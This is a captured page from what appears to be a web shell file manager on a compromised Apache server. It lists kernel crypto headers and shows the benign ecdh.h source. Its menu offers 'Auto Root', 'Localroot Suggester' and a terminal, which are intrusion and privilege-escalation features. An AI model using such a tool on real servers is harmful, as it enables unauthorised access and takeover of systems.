Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
linux-headers-5.15.0-185 /
include /
crypto /
Delete
Unzip
Name
Size
Permission
Date
Action
internal
[ DIR ]
drwxr-xr-x
2026-06-27 06:50
acompress.h
8.86
KB
-rw-r--r--
2021-11-01 05:53
aead.h
18.39
KB
-rw-r--r--
2021-11-01 05:53
aes.h
2.5
KB
-rw-r--r--
2021-11-01 05:53
akcipher.h
12.92
KB
-rw-r--r--
2021-11-01 05:53
algapi.h
7.37
KB
-rw-r--r--
2026-06-20 00:54
arc4.h
484
B
-rw-r--r--
2021-11-01 05:53
asym_tpm_subtype.h
521
B
-rw-r--r--
2021-11-01 05:53
authenc.h
635
B
-rw-r--r--
2021-11-01 05:53
b128ops.h
2.41
KB
-rw-r--r--
2021-11-01 05:53
blake2b.h
1.6
KB
-rw-r--r--
2021-11-01 05:53
blake2s.h
2.62
KB
-rw-r--r--
2026-06-20 00:54
blowfish.h
415
B
-rw-r--r--
2021-11-01 05:53
cast5.h
590
B
-rw-r--r--
2021-11-01 05:53
cast6.h
607
B
-rw-r--r--
2021-11-01 05:53
cast_common.h
232
B
-rw-r--r--
2021-11-01 05:53
chacha.h
3.32
KB
-rw-r--r--
2026-06-20 00:54
chacha20poly1305.h
1.66
KB
-rw-r--r--
2021-11-01 05:53
cryptd.h
2
KB
-rw-r--r--
2021-11-01 05:53
ctr.h
1.42
KB
-rw-r--r--
2021-11-01 05:53
curve25519.h
2.02
KB
-rw-r--r--
2021-11-01 05:53
des.h
1.68
KB
-rw-r--r--
2021-11-01 05:53
dh.h
2.51
KB
-rw-r--r--
2021-11-01 05:53
drbg.h
8.99
KB
-rw-r--r--
2026-06-20 00:54
ecc_curve.h
1.31
KB
-rw-r--r--
2021-11-01 05:53
ecdh.h
2.43
KB
-rw-r--r--
2021-11-01 05:53
engine.h
4.11
KB
-rw-r--r--
2021-11-01 05:53
gcm.h
867
B
-rw-r--r--
2021-11-01 05:53
gf128mul.h
9.42
KB
-rw-r--r--
2021-11-01 05:53
ghash.h
388
B
-rw-r--r--
2021-11-01 05:53
hash.h
34.04
KB
-rw-r--r--
2021-11-01 05:53
hash_info.h
998
B
-rw-r--r--
2021-11-01 05:53
hmac.h
173
B
-rw-r--r--
2021-11-01 05:53
if_alg.h
6.68
KB
-rw-r--r--
2026-06-20 00:54
kpp.h
9.91
KB
-rw-r--r--
2021-11-01 05:53
md5.h
497
B
-rw-r--r--
2021-11-01 05:53
nhpoly1305.h
2.18
KB
-rw-r--r--
2021-11-01 05:53
null.h
346
B
-rw-r--r--
2021-11-01 05:53
padlock.h
438
B
-rw-r--r--
2021-11-01 05:53
pcrypt.h
815
B
-rw-r--r--
2021-11-01 05:53
pkcs7.h
1.15
KB
-rw-r--r--
2021-11-01 05:53
poly1305.h
2.44
KB
-rw-r--r--
2021-11-01 05:53
public_key.h
2.38
KB
-rw-r--r--
2021-11-01 05:53
rng.h
6.59
KB
-rw-r--r--
2021-11-01 05:53
scatterwalk.h
3.9
KB
-rw-r--r--
2026-06-20 00:54
serpent.h
696
B
-rw-r--r--
2021-11-01 05:53
sha1.h
1.18
KB
-rw-r--r--
2021-11-01 05:53
sha1_base.h
2.45
KB
-rw-r--r--
2021-11-01 05:53
sha2.h
3.76
KB
-rw-r--r--
2021-11-01 05:53
sha256_base.h
2.56
KB
-rw-r--r--
2021-11-01 05:53
sha3.h
879
B
-rw-r--r--
2021-11-01 05:53
sha512_base.h
3.18
KB
-rw-r--r--
2021-11-01 05:53
skcipher.h
19.95
KB
-rw-r--r--
2021-11-01 05:53
sm2.h
749
B
-rw-r--r--
2021-11-01 05:53
sm3.h
897
B
-rw-r--r--
2021-11-01 05:53
sm3_base.h
2.55
KB
-rw-r--r--
2021-11-01 05:53
sm4.h
1.12
KB
-rw-r--r--
2021-11-01 05:53
streebog.h
949
B
-rw-r--r--
2021-11-01 05:53
twofish.h
743
B
-rw-r--r--
2021-11-01 05:53
xts.h
1.1
KB
-rw-r--r--
2021-11-01 05:53
Save
Rename
/* SPDX-License-Identifier: GPL-2.0-or-later */ /* * ECDH params to be used with kpp API * * Copyright (c) 2016, Intel Corporation * Authors: Salvatore Benedetto <salvatore.benedetto@intel.com> */ #ifndef _CRYPTO_ECDH_ #define _CRYPTO_ECDH_ /** * DOC: ECDH Helper Functions * * To use ECDH with the KPP cipher API, the following data structure and * functions should be used. * * The ECC curves known to the ECDH implementation are specified in this * header file. * * To use ECDH with KPP, the following functions should be used to operate on * an ECDH private key. The packet private key that can be set with * the KPP API function call of crypto_kpp_set_secret. */ /* Curves IDs */ #define ECC_CURVE_NIST_P192 0x0001 #define ECC_CURVE_NIST_P256 0x0002 #define ECC_CURVE_NIST_P384 0x0003 /** * struct ecdh - define an ECDH private key * * @key: Private ECDH key * @key_size: Size of the private ECDH key */ struct ecdh { char *key; unsigned short key_size; }; /** * crypto_ecdh_key_len() - Obtain the size of the private ECDH key * @params: private ECDH key * * This function returns the packet ECDH key size. A caller can use that * with the provided ECDH private key reference to obtain the required * memory size to hold a packet key. * * Return: size of the key in bytes */ unsigned int crypto_ecdh_key_len(const struct ecdh *params); /** * crypto_ecdh_encode_key() - encode the private key * @buf: Buffer allocated by the caller to hold the packet ECDH * private key. The buffer should be at least crypto_ecdh_key_len * bytes in size. * @len: Length of the packet private key buffer * @p: Buffer with the caller-specified private key * * The ECDH implementations operate on a packet representation of the private * key. * * Return: -EINVAL if buffer has insufficient size, 0 on success */ int crypto_ecdh_encode_key(char *buf, unsigned int len, const struct ecdh *p); /** * crypto_ecdh_decode_key() - decode a private key * @buf: Buffer holding a packet key that should be decoded * @len: Length of the packet private key buffer * @p: Buffer allocated by the caller that is filled with the * unpacked ECDH private key. * * The unpacking obtains the private key by pointing @p to the correct location * in @buf. Thus, both pointers refer to the same memory. * * Return: -EINVAL if buffer has insufficient size, 0 on success */ int crypto_ecdh_decode_key(const char *buf, unsigned int len, struct ecdh *p); #endif